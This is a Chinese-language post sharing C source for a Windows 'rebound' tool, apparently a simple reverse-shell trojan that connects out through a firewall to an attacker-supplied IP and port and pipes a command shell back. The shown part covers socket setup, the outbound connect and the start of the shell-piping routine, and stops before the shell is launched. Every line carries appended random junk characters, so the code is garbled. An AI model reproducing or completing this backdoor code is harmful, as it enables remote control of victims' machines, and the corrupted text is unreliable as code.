这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %aE7id>v6
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/* ============================== <&EO=A
Rebound port in Windows NT <ZC^H
By wind,2006/7 '#
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===============================*/ !XA%[u
#include !2U7gVt"*
#include Mth`s{sATa
@j2*.ee
#pragma comment(lib,"wsock32.lib") HT=Am
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void OutputShell(); )LrCoI =|
SOCKET sClient; ( WtE`f;Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _6S
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void main(int argc,char **argv) )F#<)Evw
{ $]U5
WSADATA stWsaData; ]op^dW1;0_
int nRet; bo !]
SOCKADDR_IN stSaiClient,stSaiServer; ~eOj:H
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if(argc != 3) 1o~U+s_r
{ LO} :Ub
printf("Useage:\n\rRebound DestIP DestPort\n"); '[yqi1
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return; mImbS)V
} ?"<r9S|[O
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^r$iN %&~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;n7|.O]*
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stSaiClient.sin_family = AF_INET; s.I1L?s1w?
stSaiClient.sin_port = htons(0); lPcVhj6No%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5az
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. (*kgv@3x
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H^PqYLjN
{ _
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printf("Bind Socket Failed!\n"); {F6dSF`
return; :n>ccZeMv
} *[1u[H9Cv
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stSaiServer.sin_family = AF_INET; &;h~JS=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p1VahjRE-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1s}NQ3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ kGuk
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printf("Connect Error!"); R4~zL!7;
return; Wt)SdF=U/
} ZH$sMh<xg
OutputShell(); ZOrTbik
} @U
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void OutputShell() ,+f0cv4
{ ZYA.1VrM
char szBuff[1024]; 7=p-A_X
SECURITY_ATTRIBUTES stSecurityAttributes; 'D0X?2
OSVERSIONINFO stOsversionInfo; R|)2Dg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |N=@E,33
STARTUPINFO stStartupInfo; [
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char *szShell; `k}l$ih`X
PROCESS_INFORMATION stProcessInformation; e9Ul A
unsigned long lBytesRead; Il^\3T+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aa0`y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,y8I)+
stSecurityAttributes.lpSecurityDescriptor = 0; <jRFN&"h}
stSecurityAttributes.bInheritHandle = TRUE; 6mF{ImbRbS
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